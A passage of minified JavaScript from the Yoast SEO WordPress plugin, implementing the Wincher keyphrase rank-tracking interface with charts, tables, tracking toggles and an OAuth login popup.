(0,m.__)("%s is currently tracking the ranking position(s) of your page. This may take a few minutes. Please wait or check back later.","wordpress-seo"),"Wincher")),Ki=({data:e,mapChartDataToTableData:t,dataTableCaption:s,dataTableHeaderLabels:r,isDataTableVisuallyHidden:n})=>e.length!==r.length?(0,c.createElement)("p",null,(0,m.__)("The number of headers and header labels don't match.","wordpress-seo")):(0,c.createElement)("div",{className:n?"screen-reader-text":null},(0,c.createElement)("table",null,(0,c.createElement)("caption",null,s),(0,c.createElement)("thead",null,(0,c.createElement)("tr",null,r.map(((e,t)=>(0,c.createElement)("th",{key:t},e))))),(0,c.createElement)("tbody",null,(0,c.createElement)("tr",null,e.map(((e,s)=>(0,c.createElement)("td",{key:s},t(e.y))))))));Ki.propTypes={data:y().arrayOf(y().shape({x:y().number,y:y().number})).isRequired,mapChartDataToTableData:y().func,dataTableCaption:y().string.isRequired,dataTableHeaderLabels:y().array.isRequired,isDataTableVisuallyHidden:y().bool},Ki.defaultProps={mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const Yi=Ki,ji=({data:e,width:t,height:s,fillColor:r,strokeColor:n,strokeWidth:a,className:o,mapChartDataToTableData:i,dataTableCaption:l,dataTableHeaderLabels:d,isDataTableVisuallyHidden:p})=>{const m=Math.max(1,Math.max(...e.map((e=>e.x)))),h=Math.max(1,Math.max(...e.map((e=>e.y)))),g=s-a,y=e.map((e=>`${e.x/m*t},${g-e.y/h*g+a}`)).join(" "),f=`0,${g+a} `+y+` ${t},${g+a}`;return(0,c.createElement)(u.Fragment,null,(0,c.createElement)("svg",{width:t,height:s,viewBox:`0 0 ${t} ${s}`,className:o,role:"img","aria-hidden":"true",focusable:"false"},(0,c.createElement)("polygon",{fill:r,points:f}),(0,c.createElement)("polyline",{fill:"none",stroke:n,strokeWidth:a,strokeLinejoin:"round",strokeLinecap:"round",points:y})),i&&(0,c.createElement)(Yi,{data:e,mapChartDataToTableData:i,dataTableCaption:l,dataTableHeaderLabels:d,isDataTableVisuallyHidden:p}))};ji.propTypes={data:y().arrayOf(y().shape({x:y().number,y:y().number})).isRequired,width:y().number.isRequired,height:y().number.isRequired,fillColor:y().string,strokeColor:y().string,strokeWidth:y().number,className:y().string,mapChartDataToTableData:y().func,dataTableCaption:y().string.isRequired,dataTableHeaderLabels:y().array.isRequired,isDataTableVisuallyHidden:y().bool},ji.defaultProps={fillColor:null,strokeColor:"#000000",strokeWidth:1,className:"",mapChartDataToTableData:null,isDataTableVisuallyHidden:!0};const zi=ji,Hi=()=>(0,c.createElement)("p",{className:"yoast-wincher-seo-performance-modal__loading-message"},(0,m.__)("Tracking the ranking position...","wordpress-seo")," ",(0,c.createElement)(Yt.SvgIcon,{icon:"loading-spinner"})),Vi=ht()(Yt.SvgIcon)`
	margin-left: 2px;
	flex-shrink: 0;
	rotate: ${e=>e.isImproving?"-90deg":"90deg"};
`,Gi=ht().span`
	color: ${e=>e.isImproving?"#69AB56":"#DC3332"};
	font-size: 13px;
	font-weight: 600;
	line-height: 20px;
	margin-right: 2px;
	margin-left: 12px;
`,Zi=ht().td`
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,Qi=ht().td`
	padding-left: 2px !important;
`,Xi=ht().td.attrs({className:"yoast-table--nopadding"})`
	& > div {
		justify-content: center;
	}
`,Ji=ht().div`
	display: flex;
	align-items: center;
	& > a {
		box-sizing: border-box;
	}
`,el=ht().button`
	background: none;
	color: inherit;
	border: none;
	padding: 0;
	font: inherit;
	cursor: pointer;
	outline: inherit;
    display: flex;
    align-items: center;
`,tl=ht().tr`
	background-color: ${e=>e.isEnabled?"#FFFFFF":"#F9F9F9"} !important;
`;function sl(e){return Math.round(100*e)}function rl({chartData:e}){if((0,T.isEmpty)(e)||(0,T.isEmpty)(e.position))return"?";const t=function(e){return Array.from({length:e.position.history.length},((e,t)=>t+1)).map((e=>(0,m.sprintf)((0,m._n)("%d day","%d days",e,"wordpress-seo"),e)))}(e),s=e.position.history.map(((e,t)=>({x:t,y:101-e.value})));return(0,c.createElement)(zi,{width:66,height:24,data:s,strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc",mapChartDataToTableData:sl,dataTableCaption:(0,m.__)("Keyphrase position in the last 90 days on a scale from 0 to 100.","wordpress-seo"),dataTableHeaderLabels:t})}rl.propTypes={chartData:y().object},rl.defaultProps={chartData:{}};const nl=({rowData:e})=>{var t;if(null==e||null===(t=e.position)||void 0===t||!t.change)return(0,c.createElement)(rl,{chartData:e});const s=e.position.change<0;return(0,c.createElement)(u.Fragment,null,(0,c.createElement)(rl,{chartData:e}),(0,c.createElement)(Gi,{isImproving:s},Math.abs(e.position.change)),(0,c.createElement)(Vi,{icon:"caret-right",color:s?"#69AB56":"#DC3332",size:"14px",isImproving:s}))};function al(e){var t;const{keyphrase:s,rowData:r,onTrackKeyphrase:n,onUntrackKeyphrase:a,isFocusKeyphrase:o,isDisabled:i,isLoading:l,isSelected:d,onSelectKeyphrases:p}=e,h=!(0,T.isEmpty)(r),g=!(0,T.isEmpty)(null==r||null===(t=r.position)||void 0===t?void 0:t.history),y=(0,u.useCallback)((()=>{i||(h?a(s,r.id):n(s))}),[s,n,a,h,r,i]),f=(0,u.useCallback)((()=>{p((e=>d?e.filter((e=>e!==s)):e.concat(s)))}),[p,d,s]);return(0,c.createElement)(tl,{isEnabled:h},(0,c.createElement)(Zi,null,g&&(0,c.createElement)(Yt.Checkbox,{id:"select-"+s,onChange:f,checked:d,label:""})),(0,c.createElement)(Qi,null,s,o&&(0,c.createElement)("span",null,"*")),function(e){const{rowData:t,websiteId:s,keyphrase:r,onSelectKeyphrases:n}=e,a=(0,u.useCallback)((()=>{n([r])}),[n,r]),o=!(0,T.isEmpty)(t),i=t&&t.updated_at&&vi()(t.updated_at)>=vi()().subtract(7,"days"),l=t?(0,m.sprintf)("https://app.wincher.com/websites/%s/keywords?serp=%s&utm_medium=plugin&utm_source=yoast&referer=yoast&partner=yoast",s,t.id):null;return o?i?(0,c.createElement)(u.Fragment,null,(0,c.createElement)("td",null,(0,c.createElement)(Ji,null,function(e){return!e||!e.position||e.position.value>100?"> 100":e.position.value}(t),(0,c.createElement)(Yt.ButtonStyledLink,{variant:"secondary",href:l,style:{height:28,marginLeft:12},rel:"noopener",target:"_blank"},(0,m.__)("View","wordpress-seo")))),(0,c.createElement)("td",{className:"yoast-table--nopadding"},(0,c.createElement)(el,{type:"button",onClick:a},(0,c.createElement)(nl,{rowData:t}))),(0,c.createElement)("td",null,(d=t.updated_at,vi()(d).fromNow()))):(0,c.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,c.createElement)(Hi,null)):(0,c.createElement)("td",{className:"yoast-table--nopadding",colSpan:"3"},(0,c.createElement)("i",null,(0,m.__)("Activate tracking to show the ranking position","wordpress-seo")));var d}(e),(0,c.createElement)(Xi,null,function({keyphrase:e,isEnabled:t,toggleAction:s,isLoading:r}){return r?(0,c.createElement)(Yt.SvgIcon,{icon:"loading-spinner"}):(0,c.createElement)(Yt.Toggle,{id:`toggle-keyphrase-tracking-${e}`,className:"wincher-toggle",isEnabled:t,onSetToggleState:s,showToggleStateLabel:!1})}({keyphrase:s,isEnabled:h,toggleAction:y,isLoading:l})))}nl.propTypes={rowData:y().object},al.propTypes={rowData:y().object,keyphrase:y().string.isRequired,onTrackKeyphrase:y().func,onUntrackKeyphrase:y().func,isFocusKeyphrase:y().bool,isDisabled:y().bool,isLoading:y().bool,websiteId:y().string,isSelected:y().bool.isRequired,onSelectKeyphrases:y().func.isRequired},al.defaultProps={rowData:{},onTrackKeyphrase:()=>{},onUntrackKeyphrase:()=>{},isFocusKeyphrase:!1,isDisabled:!1,isLoading:!1,websiteId:""};const ol=(0,Ht.makeOutboundLink)(),il=ht().span`
	display: block;
	font-style: italic;

	@media (min-width: 782px) {
		display: inline;
		position: absolute;
		${(0,Ht.getDirectionalStyle)("right","left")}: 8px;
	}
`,ll=ht().div`
	width: 100%;
	overflow-y: auto;
`,cl=ht().th`
	pointer-events: ${e=>e.isDisabled?"none":"initial"};
	padding-right: 0 !important;

	& > div {
		margin: 0px;
	}
`,dl=ht().th`
	padding-left: 2px !important;
`,pl=e=>{const t=(0,u.useRef)();return(0,u.useEffect)((()=>{t.current=e})),t.current},ul=(0,T.debounce)((async function(e=null,t=null,s=null,r){return await Ci({path:"yoast/v1/wincher/keyphrases",method:"POST",data:{keyphrases:e,permalink:s,startAt:t},signal:r})}),500,{leading:!0}),ml=e=>{const{addTrackedKeyphrase:t,isLoggedIn:s,keyphrases:r,permalink:n,removeTrackedKeyphrase:a,setKeyphraseLimitReached:o,setRequestFailed:i,setRequestSucceeded:l,setTrackedKeyphrases:d,setHasTrackedAll:p,trackAll:h,trackedKeyphrases:g,isNewlyAuthenticated:y,websiteId:f,focusKeyphrase:w,newRequest:b,startAt:E,selectedKeyphrases:_,onSelectKeyphrases:v}=e,k=(0,u.useRef)(),x=(0,u.useRef)(),S=(0,u.useRef)(!1),[R,C]=(0,u.useState)([]),I=(0,u.useCallback)((e=>{const t=e.toLowerCase();return g&&!(0,T.isEmpty)(g)&&g.hasOwnProperty(t)?g[t]:null}),[g]),L=(0,u.useMemo)((()=>async()=>{await Ti((()=>(x.current&&x.current.abort(),x.current="undefined"==typeof AbortController?null:new AbortController,ul(r,E,n,x.current.signal))),(e=>{l(e),d(e.results)}),(e=>{i(e)}))}),[l,i,d,r,n,E]),P=(0,u.useCallback)((async e=>{const s=(Array.isArray(e)?e:[e]).map((e=>e.toLowerCase()));C((e=>[...e,...s])),await Ti((()=>Ii(s)),(e=>{l(e),t(e.results),L()}),(e=>{400===e.status&&e.limit&&o(e.limit),i(e)}),201),C((e=>(0,T.without)(e,...s)))}),[l,i,o,t,L]),A=(0,u.useCallback)((async(e,t)=>{e=e.toLowerCase(),C((t=>[...t,e])),await Ti((()=>async function(e){return await Ci({path:"yoast/v1/wincher/keyphrases/untrack",method:"DELETE",data:{keyphraseID:e}})}(t)),(t=>{l(t),a(e)}),(e=>{i(e)})),C((t=>(0,T.without)(t,e)))}),[l,a,i]),O=(0,u.useCallback)((async e=>{b(),await P(e)}),[b,P]),F=pl(n),D=pl(r),M=pl(E),q=n&&E;(0,u.useEffect)((()=>{s&&q&&(n!==F||(0,T.difference)(r,D).length||E!==M)&&L()}),[s,n,F,r,D,L,q,E,M]),(0,u.useEffect)((()=>{if(s&&h&&null!==g){const e=r.filter((e=>!I(e)));e.length&&P(e),p()}}),[s,h,g,P,p,I,r]),(0,u.useEffect)((()=>{y&&!S.current&&(L(),S.current=!0)}),[y,L]),(0,u.useEffect)((()=>{if(s&&!(0,T.isEmpty)(g))return(0,T.filter)(g,(e=>(0,T.isEmpty)(e.updated_at))).length>0&&(k.current=setInterval((()=>{L()}),1e4)),()=>{clearInterval(k.current)}}),[s,g,L]);const N=s&&null===g,U=(0,u.useMemo)((()=>(0,T.isEmpty)(g)?[]:Object.values(g).filter((e=>{var t;return!(0,T.isEmpty)(null==e||null===(t=e.position)||void 0===t?void 0:t.history)})).map((e=>e.keyword))),[g]),$=(0,u.useMemo)((()=>_.length>0&&U.length>0&&U.every((e=>_.includes(e)))),[_,U]),B=(0,u.useCallback)((()=>{v($?[]:U)}),[v,$,U]),W=(0,u.useMemo)((()=>(0,T.orderBy)(r,[e=>Object.values(g||{}).map((e=>e.keyword)).includes(e)],["desc"])),[r,g]);return r&&!(0,T.isEmpty)(r)&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ll,null,(0,c.createElement)("table",{className:"yoast yoast-table"},(0,c.createElement)("thead",null,(0,c.createElement)("tr",null,(0,c.createElement)(cl,{isDisabled:0===U.length},(0,c.createElement)(Yt.Checkbox,{id:"select-all",onChange:B,checked:$,label:""})),(0,c.createElement)(dl,{scope:"col",abbr:(0,m.__)("Keyphrase","wordpress-seo")},(0,m.__)("Keyphrase","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Position","wordpress-seo")},(0,m.__)("Position","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Position over time","wordpress-seo")},(0,m.__)("Position over time","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Last updated","wordpress-seo")},(0,m.__)("Last updated","wordpress-seo")),(0,c.createElement)("th",{scope:"col",abbr:(0,m.__)("Tracking","wordpress-seo")},(0,m.__)("Tracking","wordpress-seo")))),(0,c.createElement)("tbody",null,W.map(((e,t)=>(0,c.createElement)(al,{key:`trackable-keyphrase-${t}`,keyphrase:e,onTrackKeyphrase:O,onUntrackKeyphrase:A,rowData:I(e),isFocusKeyphrase:e===w.trim().toLowerCase(),websiteId:f,isDisabled:!s,isLoading:N||R.indexOf(e.toLowerCase())>=0,isSelected:_.includes(e),onSelectKeyphrases:v})))))),(0,c.createElement)("p",{style:{marginBottom:0,position:"relative"}},(0,c.createElement)(ol,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,m.sprintf)(/* translators: %s expands to Wincher */
(0,m.__)("Get more insights over at %s","wordpress-seo"),"Wincher")),(0,c.createElement)(il,null,(0,m.__)("* focus keyphrase","wordpress-seo"))))};ml.propTypes={addTrackedKeyphrase:y().func.isRequired,isLoggedIn:y().bool,isNewlyAuthenticated:y().bool,keyphrases:y().array,newRequest:y().func.isRequired,removeTrackedKeyphrase:y().func.isRequired,setRequestFailed:y().func.isRequired,setKeyphraseLimitReached:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setTrackedKeyphrases:y().func.isRequired,setHasTrackedAll:y().func.isRequired,trackAll:y().bool,trackedKeyphrases:y().object,websiteId:y().string,permalink:y().string.isRequired,focusKeyphrase:y().string,startAt:y().string,selectedKeyphrases:y().arrayOf(y().string).isRequired,onSelectKeyphrases:y().func.isRequired},ml.defaultProps={isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],trackAll:!1,websiteId:"",focusKeyphrase:""};const hl=ml,gl=(0,qt.compose)([(0,i.withSelect)((e=>{const{getWincherWebsiteId:t,getWincherTrackableKeyphrases:s,getWincherLoginStatus:r,getWincherPermalink:n,getFocusKeyphrase:a,isWincherNewlyAuthenticated:o,shouldWincherTrackAll:i}=e("yoast-seo/editor");return{focusKeyphrase:a(),keyphrases:s(),isLoggedIn:r(),trackAll:i(),websiteId:t(),isNewlyAuthenticated:o(),permalink:n()}})),(0,i.withDispatch)((e=>{const{setWincherNewRequest:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherSetKeyphraseLimitReached:n,setWincherTrackedKeyphrases:a,setWincherTrackingForKeyphrase:o,setWincherTrackAllKeyphrases:i,unsetWincherTrackingForKeyphrase:l}=e("yoast-seo/editor");return{newRequest:()=>{t()},setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},setKeyphraseLimitReached:e=>{n(e)},addTrackedKeyphrase:e=>{o(e)},removeTrackedKeyphrase:e=>{l(e)},setTrackedKeyphrases:e=>{a(e)},setHasTrackedAll:()=>{i(!1)}}}))])(hl),yl=(0,Ht.makeOutboundLink)(),fl=(0,Ht.makeOutboundLink)(),wl=()=>{const e=(0,m.sprintf)((0,m.__)(/* translators: %1$s expands to a link to Wincher, %2$s expands to a link to the keyphrase tracking article on Yoast.com */
"With %1$s you can track the ranking position of your page in the search results based on your keyphrase(s). %2$s","wordpress-seo"),"{{wincherLink/}}","{{wincherReadMoreLink/}}");return(0,c.createElement)("p",null,(0,$o.Z)({mixedString:e,components:{wincherLink:(0,c.createElement)(yl,{href:wpseoAdminGlobalL10n["links.wincher.website"]},"Wincher"),wincherReadMoreLink:(0,c.createElement)(fl,{href:wpseoAdminL10n["shortlinks.wincher.seo_performance"]},(0,m.__)("Read more about keyphrase tracking with Wincher","wordpress-seo"))}}))},bl=()=>(0,c.createElement)(Yt.Alert,{type:"error"},(0,m.__)("No keyphrase has been set. Please set a keyphrase first.","wordpress-seo")),El=()=>(0,c.createElement)(Yt.Alert,{type:"info"},(0,m.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,m.__)("Automatic tracking of keyphrases is enabled. Your keyphrase(s) will automatically be tracked by %s when you publish your post.","wordpress-seo"),"Wincher"));class _l{constructor(e,t={},s={}){this.url=e,this.origin=new URL(e).origin,this.eventHandlers=Object.assign({success:{type:"",callback:()=>{}},error:{type:"",callback:()=>{}}},t),this.options=Object.assign({height:570,width:340,title:""},s),this.popup=null,this.createPopup=this.createPopup.bind(this),this.messageHandler=this.messageHandler.bind(this),this.getPopup=this.getPopup.bind(this)}createPopup(){const{height:e,width:t,title:s}=this.options,r=["top="+(window.top.outerHeight/2+window.top.screenY-e/2),"left="+(window.top.outerWidth/2+window.top.screenX-t/2),"width="+t,"height="+e,"resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(this.url,s,r.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.messageHandler,!1)}async messageHandler(e){const{data:t,source:s,origin:r}=e;r===this.origin&&this.popup===s&&(t.type===this.eventHandlers.success.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.success.callback(t)),t.type===this.eventHandlers.error.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.error.callback(t)))}getPopup(){return this.popup}isClosed(){return!this.popup||this.popup.closed}focus(){this.isClosed()||this.popup.focus()}}const vl=e=>{const t=(0,m.sprintf)(/* translators: %s expands to a link to open the Wincher login popup. */
(0,m.__)("It seems like something went wrong when retrieving your website's data. Please %s and try again.","wordpress-seo"),"{{reconnectToWincher/}}","Wincher");return(0,c.createElement)(Yt.Alert,{type:"error",className:e.className},(0,$o.Z)({mixedString:t,components:{reconnectToWincher:(0,c.createElement)("a",{href:"#",onClick:t=>{t.preventDefault(),e.onReconnect()}},(0,m.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,m.__)("reconnect to %s","wordpress-seo"),"Wincher"))}}))};vl.propTypes={onReconnect:y().func.isRequired,className:y().string},vl.defaultProps={className:""};const kl=vl,xl=()=>(0,c.createElement)(Yt.Alert,{type:"error"},(0,m.__)("Before you can track your SEO performance make sure to set either the post’s title and save it as a draft or manually set the post’s slug.","wordpress-seo")),Sl=window.yoast["chart.js"],Rl="label";function Tl(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function Cl(e,t){e.labels=t}function Il(e,t){let s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:Rl;const r=[];e.datasets=t.map((t=>{const n=e.datasets.find((e=>e[s]===t[s]));return n&&t.data&&!r.includes(n)?(r.push(n),Object.assign(n,t),n):{...t}}))}function Ll(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Rl;const s={labels:[],datasets:[]};return Cl(s,e.labels),Il(s,e.datasets,t),s}function Pl(e,t){const{height:s=150,width:r=300,redraw:n=!1,datasetIdKey:a,type:o,data:i,options:l,plugins:d=[],fallbackContent:p,updateMode:u,...m}=e,h=(0,c.useRef)(null),g=(0,c.useRef)(),y=()=>{h.current&&(g.current=new Sl.Chart(h.current,{type:o,data:Ll(i,a),options:l&&{...l},plugins:d}),Tl(t,g.current))},f=()=>{Tl(t,null),g.current&&(g.current.destroy(),g.current=null)};return(0,c.useEffect)((()=>{!n&&g.current&&l&&function(e,t){const s=e.options;s&&t&&Object.assign(s,t)}(g.current,l)}),[n,l]),(0,c.useEffect)((()=>{!n&&g.current&&Cl(g.current.config.data,i.labels)}),[n,i.labels]),(0,c.useEffect)((()=>{!n&&g.current&&i.datasets&&Il(g.current.config.data,i.datasets,a)}),[n,i.datasets]),(0,c.useEffect)((()=>{g.current&&(n?(f(),setTimeout(y)):g.current.update(u))}),[n,l,i.labels,i.datasets,u]),(0,c.useEffect)((()=>{g.current&&(f(),setTimeout(y))}),[o]),(0,c.useEffect)((()=>(y(),()=>f())),[]),c.createElement("canvas",Object.assign({ref:h,role:"img",height:s,width:r},m),p)}const Al=(0,c.forwardRef)(Pl);function Ol(e,t){return Sl.Chart.register(t),(0,c.forwardRef)(((t,s)=>c.createElement(Al,Object.assign({},t,{ref:s,type:e}))))}const Fl=Ol("line",Sl.LineController),Dl={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};Sl._adapters._date.override("function"==typeof vi()?{_id:"moment",formats:function(){return Dl},parse:function(e,t){return"string"==typeof e&&"string"==typeof t?e=vi()(e,t):e instanceof vi()||(e=vi()(e)),e.isValid()?e.valueOf():null},format:function(e,t){return vi()(e).format(t)},add:function(e,t,s){return vi()(e).add(t,s).valueOf()},diff:function(e,t,s){return vi()(e).diff(vi()(t),s)},startOf:function(e,t,s){return e=vi()(e),"isoWeek"===t?(s=Math.trunc(Math.min(Math.max(0,s),6)),e.isoWeekday(s).startOf("day").valueOf()):e.startOf(t).valueOf()},endOf:function(e,t){return vi()(e).endOf(t).valueOf()}}:{}),Math.PI,Number.POSITIVE_INFINITY,Math.log10,Math.sign,"undefined"==typeof window||window.requestAnimationFrame,new Map,Object.create(null),Object.create(null),Number.EPSILON;const Ml=["top","right","bottom","left"];function ql(e,t,s){const r={};s=s?"-"+s:"";for(let n=0;n<4;n++){const a=Ml[n];r[a]=parseFloat(e[t+"-"+a+s])||0}return r.width=r.left+r.right,r.height=r.top+r.bottom,r}!function(){let e=!1;try{const t={get passive(){return e=!0,!1}};window.addEventListener("test",null,t),window.removeEventListener("test",null,t)}catch(e){}}(),Sl.Chart.register(Sl.CategoryScale,Sl.LineController,Sl.LineElement,Sl.PointElement,Sl.LinearScale,Sl.TimeScale,Sl.Legend,Sl.Tooltip);const Nl=["#ff983b","#ffa3f7","#3798ff","#ff3b3b","#acce81","#b51751","#3949ab","#26c6da","#ccb800","#de66ff","#4db6ac","#ffab91","#45f5f1","#77f210","#90a4ae","#ffd54f","#006b5e","#8ec7d2","#b1887c","#cc9300"];function Ul({datasets:e,isChartShown:t,keyphrases:s}){if(!t)return null;const r=(0,u.useMemo)((()=>Object.fromEntries([...s].sort().map(((e,t)=>[e,Nl[t%Nl.length]])))),[s]),n=e.map((e=>{const t=r[e.label];return{...e,data:e.data.map((({datetime:e,value:t})=>({x:e,y:t}))),lineTension:0,pointRadius:1,pointHoverRadius:4,borderWidth:2,pointHitRadius:6,backgroundColor:t,borderColor:t}})).filter((e=>!1!==e.selected));return(0,c.createElement)(Fl,{height:100,data:{datasets:n},options:{plugins:{legend:{display:!0,position:"bottom",labels:{color:"black",usePointStyle:!0,boxHeight:7,boxWidth:7},onClick:T.noop},tooltip:{enabled:!0,callbacks:{title:e=>vi()(e[0].raw.x).utc().format("YYYY-MM-DD")},titleAlign:"center",mode:"xPoint",position:"nearest",usePointStyle:!0,boxHeight:7,boxWidth:7,boxPadding:2}},scales:{x:{bounds:"ticks",type:"time",time:{unit:"day",minUnit:"day"},grid:{display:!1},ticks:{autoSkipPadding:50,maxRotation:0,color:"black"}},y:{bounds:"ticks",offset:!0,reverse:!0,ticks:{precision:0,color:"black"},max:101}}}})}Sl.Interaction.modes.xPoint=(e,t,s,r)=>{const n=function(e,t){if("native"in e)return e;const{canvas:s,currentDevicePixelRatio:r}=t,n=(m=s).ownerDocument.defaultView.getComputedStyle(m,null),a="border-box"===n.boxSizing,o=ql(n,"padding"),i=ql(n,"border","width"),{x:l,y:c,box:d}=function(e,t){const s=e.touches,r=s&&s.length?s[0]:e,{offsetX:n,offsetY:a}=r;let o,i,l=!1;if(((e,t,s)=>(e>0||t>0)&&(!s||!s.shadowRoot))(n,a,e.target))o=n,i=a;else{const e=t.getBoundingClientRect();o=r.clientX-e.left,i=r.clientY-e.top,l=!0}return{x:o,y:i,box:l}}(e,s),p=o.left+(d&&i.left),u=o.top+(d&&i.top);var m;let{width:h,height:g}=t;return a&&(h-=o.width+i.width,g-=o.height+i.height),{x:Math.round((l-p)/h*s.width/r),y:Math.round((c-u)/g*s.height/r)}}(t,e);let a=[];if(Sl.Interaction.evaluateInteractionItems(e,"x",n,((e,t,s)=>{e.inXRange(n.x,r)&&a.push({element:e,datasetIndex:t,index:s})})),0===a.length)return a;const o=a.reduce(((e,t)=>Math.abs(n.x-e.element.x)<Math.abs(n.x-t.element.x)?e:t)).element.x;return a=a.filter((e=>e.element.x===o)),a.some((e=>Math.abs(e.element.y-n.y)<10))?a:[]},Ul.propTypes={datasets:y().arrayOf(y().shape({label:y().string.isRequired,data:y().arrayOf(y().shape({datetime:y().string.isRequired,value:y().number.isRequired})).isRequired,selected:y().bool})).isRequired,isChartShown:y().bool.isRequired,keyphrases:y().array.isRequired};const $l=({response:e,onLogin:t})=>[401,403,404].includes(e.status)?(0,c.createElement)(kl,{onReconnect:t}):(0,c.createElement)(Ri,null);$l.propTypes={response:y().object.isRequired,onLogin:y().func.isRequired};const Bl=({isSuccess:e,response:t,allKeyphrasesMissRanking:s,onLogin:r,keyphraseLimitReached:n,limit:a})=>n?(0,c.createElement)(Si,{limit:a}):(0,T.isEmpty)(t)||e?s?(0,c.createElement)(Wi,null):null:(0,c.createElement)($l,{response:t,onLogin:r});Bl.propTypes={isSuccess:y().bool.isRequired,allKeyphrasesMissRanking:y().bool.isRequired,response:y().object,onLogin:y().func.isRequired,keyphraseLimitReached:y().bool.isRequired,limit:y().number.isRequired},Bl.defaultProps={response:{}};let Wl=null;const Kl=async e=>{if(Wl&&!Wl.isClosed())return void Wl.focus();const{url:t}=await async function(){return await Ci({path:"yoast/v1/wincher/authorization-url",method:"GET"})}();Wl=new _l(t,{success:{type:"wincher:oauth:success",callback:t=>(async(e,t)=>{const{onAuthentication:s,setRequestSucceeded:r,setRequestFailed:n,keyphrases:a,addTrackedKeyphrase:o,setKeyphraseLimitReached:i}=e;await Ti((()=>async function(e){const{code:t,websiteId:s}=e;return await Ci({path:"yoast/v1/wincher/authenticate",method:"POST",data:{code:t,websiteId:s}})}(t)),(async e=>{s(!0,!0,t.websiteId.toString()),r(e);const l=(Array.isArray(a)?a:[a]).map((e=>e.toLowerCase()));await Ti((()=>Ii(l)),(e=>{r(e),o(e.results)}),(e=>{400===e.status&&e.limit&&i(e.limit),n(e)}),201);const c=Wl.getPopup();c&&c.close()}),(async e=>n(e)))})(e,t)},error:{type:"wincher:oauth:error",callback:()=>e.onAuthentication(!1,!1)}},{title:"Wincher_login",width:500,height:700}),Wl.createPopup()},Yl=e=>e.isLoggedIn?null:(0,c.createElement)("p",null,(0,c.createElement)(Yt.NewButton,{onClick:e.onLogin,variant:"primary"},(0,m.sprintf)(/* translators: %s expands to Wincher */
(0,m.__)("Connect with %s","wordpress-seo"),"Wincher")));Yl.propTypes={isLoggedIn:y().bool.isRequired,onLogin:y().func.isRequired};const jl=ht().div`
	p {
		margin: 1em 0;
	}
`,zl=ht().div`
	${e=>e.isDisabled&&"\n\t\topacity: .5;\n\t\tpointer-events: none;\n\t"};
`,Hl=ht().div`
	font-weight: var(--yoast-font-weight-bold);
	color: var(--yoast-color-label);
	font-size: var(--yoast-font-size-default);
`,Vl=ht().div.attrs({className:"yoast-field-group"})`
	display: flex;
	justify-content: space-between;
	align-items: center;
	margin-bottom: 14px;
`,Gl=ht().div`
	margin: 8px 0;
`,Zl=vi().utc().startOf("day"),Ql=[{name:(0,m.__)("Last day","wordpress-seo"),value:vi()(Zl).subtract(1,"days").format(),defaultIndex:1},{name:(0,m.__)("Last week","wordpress-seo"),value:vi()(Zl).subtract(1,"week").format(),defaultIndex:2},{name:(0,m.__)("Last month","wordpress-seo"),value:vi()(Zl).subtract(1,"month").format(),defaultIndex:3},{name:(0,m.__)("Last year","wordpress-seo"),value:vi()(Zl).subtract(1,"year").format(),defaultIndex:0}],Xl=e=>{const{onSelect:t,selected:s,options:r,isLoggedIn:n}=e;return n?r.length<1?null:(0,c.createElement)("select",{className:"components-select-control__input",id:"wincher-period-picker",value:(null==s?void 0:s.value)||r[0].value,onChange:t},r.map((e=>(0,c.createElement)("option",{key:e.name,value:e.value},e.name)))):null};Xl.propTypes={onSelect:y().func.isRequired,selected:y().object,options:y().array.isRequired,isLoggedIn:y().bool.isRequired};const Jl=e=>{const{trackedKeyphrases:t,isLoggedIn:s,keyphrases:r,shouldTrackAll:n,permalink:a,historyDaysLimit:o}=e;if(!a&&s)return(0,c.createElement)(xl,null);if(0===r.length)return(0,c.createElement)(bl,null);const i=vi()(Zl).subtract(o,"days"),l=Ql.filter((e=>vi()(e.value).isSameOrAfter(i))),d=(0,T.orderBy)(l,(e=>e.defaultIndex),"desc")[0],[p,h]=(0,u.useState)(d),[g,y]=(0,u.useState)([]),f=g.length>0,w=(0,qt.usePrevious)(t);(0,u.useEffect)((()=>{if(!(0,T.isEmpty)(t)&&(0,T.difference)(Object.keys(t),Object.keys(w||[])).length){const e=Object.values(t).map((e=>e.keyword));y(e)}}),[t,w]),(0,u.useEffect)((()=>{h(d)}),[null==d?void 0:d.name]);const b=(0,u.useCallback)((e=>{const t=Ql.find((t=>t.value===e.target.value));t&&h(t)}),[h]),E=(0,u.useMemo)((()=>(0,T.isEmpty)(g)||(0,T.isEmpty)(t)?[]:Object.values(t).filter((e=>{var t;return!(null==e||null===(t=e.position)||void 0===t||!t.history)})).map((e=>{var t;return{label:e.keyword,data:e.position.history,selected:g.includes(e.keyword)&&!(0,T.isEmpty)(null===(t=e.position)||void 0===t?void 0:t.history)}}))),[g,t]);return(0,c.createElement)(zl,{isDisabled:!s},(0,c.createElement)("p",null,(0,m.__)("You can enable / disable tracking the SEO performance for each keyphrase 